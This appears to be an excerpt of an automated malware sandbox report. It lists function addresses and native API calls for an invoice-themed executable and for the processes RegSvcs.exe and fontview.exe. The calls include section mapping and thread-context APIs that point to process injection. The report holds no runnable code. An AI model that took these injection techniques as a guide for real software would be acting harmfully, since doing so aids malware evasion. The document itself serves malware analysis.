Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Code function: 0_2_02E98708	0_2_02E98708
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Code function: 0_2_02E96FE0	0_2_02E96FE0
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Code function: 0_2_02E97302	0_2_02E97302
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Code function: 0_2_02E98481	0_2_02E98481
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Code function: 0_2_02E97805	0_2_02E97805
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Code function: 0_2_054E9100	0_2_054E9100
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Code function: 0_2_054E2550	0_2_054E2550
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Code function: 0_2_054E2560	0_2_054E2560
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Code function: 0_2_054E90F0	0_2_054E90F0
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Code function: 0_2_054E1BA0	0_2_054E1BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00402880	4_2_00402880
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00403080	4_2_00403080
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0041008B	4_2_0041008B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00410093	4_2_00410093
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0042A943	4_2_0042A943
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0040112A	4_2_0040112A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00401130	4_2_00401130
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_004102B3	4_2_004102B3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0040E333	4_2_0040E333
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00401C40	4_2_00401C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00402C50	4_2_00402C50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_004025E0	4_2_004025E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0041659E	4_2_0041659E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_004165A3	4_2_004165A3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014F8158	4_2_014F8158
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01460100	4_2_01460100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0150A118	4_2_0150A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_015281CC	4_2_015281CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_015241A2	4_2_015241A2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_015301AA	4_2_015301AA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01502000	4_2_01502000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0152A352	4_2_0152A352
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_015303E6	4_2_015303E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0147E3F0	4_2_0147E3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01510274	4_2_01510274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014F02C0	4_2_014F02C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01470535	4_2_01470535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01530591	4_2_01530591
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01522446	4_2_01522446
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01514420	4_2_01514420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0151E4F6	4_2_0151E4F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01494750	4_2_01494750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01470770	4_2_01470770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0146C7C0	4_2_0146C7C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0148C6E0	4_2_0148C6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01486962	4_2_01486962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014729A0	4_2_014729A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0153A9A6	4_2_0153A9A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0147A840	4_2_0147A840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01472840	4_2_01472840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0149E8F0	4_2_0149E8F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014568B8	4_2_014568B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0152AB40	4_2_0152AB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01526BD7	4_2_01526BD7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0146EA80	4_2_0146EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0147AD00	4_2_0147AD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0150CD1F	4_2_0150CD1F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0146ADE0	4_2_0146ADE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01488DBF	4_2_01488DBF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01470C00	4_2_01470C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01460CF2	4_2_01460CF2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01510CB5	4_2_01510CB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E4F40	4_2_014E4F40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01512F30	4_2_01512F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014B2F28	4_2_014B2F28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01490F30	4_2_01490F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01462FC8	4_2_01462FC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0147CFE0	4_2_0147CFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014EEFA0	4_2_014EEFA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01470E59	4_2_01470E59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0152EE26	4_2_0152EE26
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0152EEDB	4_2_0152EEDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0152CE93	4_2_0152CE93
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01482E90	4_2_01482E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014A516C	4_2_014A516C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0145F172	4_2_0145F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0153B16B	4_2_0153B16B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0147B1B0	4_2_0147B1B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014770C0	4_2_014770C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0151F0CC	4_2_0151F0CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0152F0E0	4_2_0152F0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_015270E9	4_2_015270E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0145D34C	4_2_0145D34C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0152132D	4_2_0152132D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014B739A	4_2_014B739A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0148B2C0	4_2_0148B2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_015112ED	4_2_015112ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014752A0	4_2_014752A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01527571	4_2_01527571
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_015395C3	4_2_015395C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0150D5B0	4_2_0150D5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01461460	4_2_01461460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0152F43F	4_2_0152F43F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014617EC	4_2_014617EC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0152F7B0	4_2_0152F7B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014B5630	4_2_014B5630
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_015216CC	4_2_015216CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01479950	4_2_01479950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0148B950	4_2_0148B950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01505910	4_2_01505910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014DD800	4_2_014DD800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014738E0	4_2_014738E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0152FB76	4_2_0152FB76
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014ADBF9	4_2_014ADBF9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E5BF0	4_2_014E5BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0148FB80	4_2_0148FB80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01527A46	4_2_01527A46
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0152FA49	4_2_0152FA49
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E3A6C	4_2_014E3A6C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0151DAC6	4_2_0151DAC6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014B5AA0	4_2_014B5AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01511AA3	4_2_01511AA3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0150DAAC	4_2_0150DAAC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01473D40	4_2_01473D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01521D5A	4_2_01521D5A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01527D73	4_2_01527D73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0148FDC0	4_2_0148FDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E9C32	4_2_014E9C32
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0152FCF2	4_2_0152FCF2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0152FF09	4_2_0152FF09
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01471F92	4_2_01471F92
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0152FFB1	4_2_0152FFB1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01479EB0	4_2_01479EB0
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04B2E4F6	12_2_04B2E4F6
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04B24420	12_2_04B24420
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04B32446	12_2_04B32446
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04B40591	12_2_04B40591
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04A80535	12_2_04A80535
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04A9C6E0	12_2_04A9C6E0
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04A7C7C0	12_2_04A7C7C0
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04A80770	12_2_04A80770
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AA4750	12_2_04AA4750
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04B12000	12_2_04B12000
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04B341A2	12_2_04B341A2
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04B401AA	12_2_04B401AA
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04B381CC	12_2_04B381CC
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04A70100	12_2_04A70100
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04B1A118	12_2_04B1A118
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04B08158	12_2_04B08158
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04B002C0	12_2_04B002C0
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04B20274	12_2_04B20274
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04B403E6	12_2_04B403E6
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04A8E3F0	12_2_04A8E3F0
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04B3A352	12_2_04B3A352
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04B20CB5	12_2_04B20CB5
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04A70CF2	12_2_04A70CF2
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04A80C00	12_2_04A80C00
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04A98DBF	12_2_04A98DBF
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04A7ADE0	12_2_04A7ADE0
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04A8AD00	12_2_04A8AD00
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04B1CD1F	12_2_04B1CD1F
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04B3CE93	12_2_04B3CE93
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04A92E90	12_2_04A92E90
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04B3EEDB	12_2_04B3EEDB
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04B3EE26	12_2_04B3EE26
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04A80E59	12_2_04A80E59
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AFEFA0	12_2_04AFEFA0
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04A8CFE0	12_2_04A8CFE0
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04A72FC8	12_2_04A72FC8
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04B22F30	12_2_04B22F30
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AC2F28	12_2_04AC2F28
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AA0F30	12_2_04AA0F30
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AF4F40	12_2_04AF4F40
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04A668B8	12_2_04A668B8
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AAE8F0	12_2_04AAE8F0
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04A8A840	12_2_04A8A840
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04A82840	12_2_04A82840
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04A829A0	12_2_04A829A0
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04B4A9A6	12_2_04B4A9A6
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04A96962	12_2_04A96962
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04A7EA80	12_2_04A7EA80
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04B36BD7	12_2_04B36BD7
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04B3AB40	12_2_04B3AB40
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04B3F43F	12_2_04B3F43F
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04A71460	12_2_04A71460
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04B1D5B0	12_2_04B1D5B0
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04B37571	12_2_04B37571
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04B316CC	12_2_04B316CC
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04B3F7B0	12_2_04B3F7B0
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04A717EC	12_2_04A717EC
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04B3F0E0	12_2_04B3F0E0
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04B370E9	12_2_04B370E9
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04A870C0	12_2_04A870C0
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04B2F0CC	12_2_04B2F0CC
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04A8B1B0	12_2_04A8B1B0
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AB516C	12_2_04AB516C
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04A6F172	12_2_04A6F172
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04B4B16B	12_2_04B4B16B
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04A852A0	12_2_04A852A0
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04B212ED	12_2_04B212ED
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04A9B2C0	12_2_04A9B2C0
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AC739A	12_2_04AC739A
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04B3132D	12_2_04B3132D
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04A6D34C	12_2_04A6D34C
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04B3FCF2	12_2_04B3FCF2
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AF9C32	12_2_04AF9C32
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04A9FDC0	12_2_04A9FDC0
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04B37D73	12_2_04B37D73
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04A83D40	12_2_04A83D40
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04B31D5A	12_2_04B31D5A
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04A89EB0	12_2_04A89EB0
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04B3FFB1	12_2_04B3FFB1
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04A81F92	12_2_04A81F92
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04B3FF09	12_2_04B3FF09
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04A838E0	12_2_04A838E0
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AED800	12_2_04AED800
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04B15910	12_2_04B15910
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04A89950	12_2_04A89950
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04A9B950	12_2_04A9B950
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AC5AA0	12_2_04AC5AA0
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04B21AA3	12_2_04B21AA3
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04B1DAAC	12_2_04B1DAAC
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04B2DAC6	12_2_04B2DAC6
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AF3A6C	12_2_04AF3A6C
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04B37A46	12_2_04B37A46
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04B3FA49	12_2_04B3FA49
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04A9FB80	12_2_04A9FB80
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04ABDBF9	12_2_04ABDBF9
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04AF5BF0	12_2_04AF5BF0
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_04B3FB76	12_2_04B3FB76
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_02A41AC0	12_2_02A41AC0
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_02A3AFA0	12_2_02A3AFA0
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_02A3CF20	12_2_02A3CF20
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_02A3CCF8	12_2_02A3CCF8
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_02A3CD00	12_2_02A3CD00
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_02A4320B	12_2_02A4320B
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_02A43210	12_2_02A43210
Source: C:\Windows\SysWOW64\fontview.exe	Code function: 12_2_02A575B0	12_2_02A575B0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 014B7E54 appears 109 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 0145B970 appears 283 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 014EF290 appears 105 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 014DEA12 appears 86 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 014A5130 appears 58 times
Source: C:\Windows\SysWOW64\fontview.exe	Code function: String function: 04A6B970 appears 283 times
Source: C:\Windows\SysWOW64\fontview.exe	Code function: String function: 04AEEA12 appears 86 times
Source: C:\Windows\SysWOW64\fontview.exe	Code function: String function: 04AB5130 appears 58 times
Source: C:\Windows\SysWOW64\fontview.exe	Code function: String function: 04AC7E54 appears 100 times
Source: C:\Windows\SysWOW64\fontview.exe	Code function: String function: 04AFF290 appears 105 times

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0040A173 NtSetContextThread,	4_2_0040A173
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0040A9C3 NtMapViewOfSection,	4_2_0040A9C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0040B293 NtDelayExecution,	4_2_0040B293
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0040ABF3 NtCreateFile,	4_2_0040ABF3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0040A383 NtResumeThread,	4_2_0040A383
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00409D53 NtSuspendThread,	4_2_00409D53
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_004285D3 NtClose,	4_2_004285D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0040AE23 NtReadFile,	4_2_0040AE23
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0040B6B3 NtAllocateVirtualMemory,	4_2_0040B6B3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00409F63 NtGetContextThread,	4_2_00409F63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0040A7A3 NtCreateSection,	4_2_0040A7A3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014A2B60 NtClose,LdrInitializeThunk,	4_2_014A2B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014A2DF0 NtQuerySystemInformation,LdrInitializeThunk,	4_2_014A2DF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014A2C70 NtFreeVirtualMemory,LdrInitializeThunk,	4_2_014A2C70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014A35C0 NtCreateMutant,LdrInitializeThunk,	4_2_014A35C0
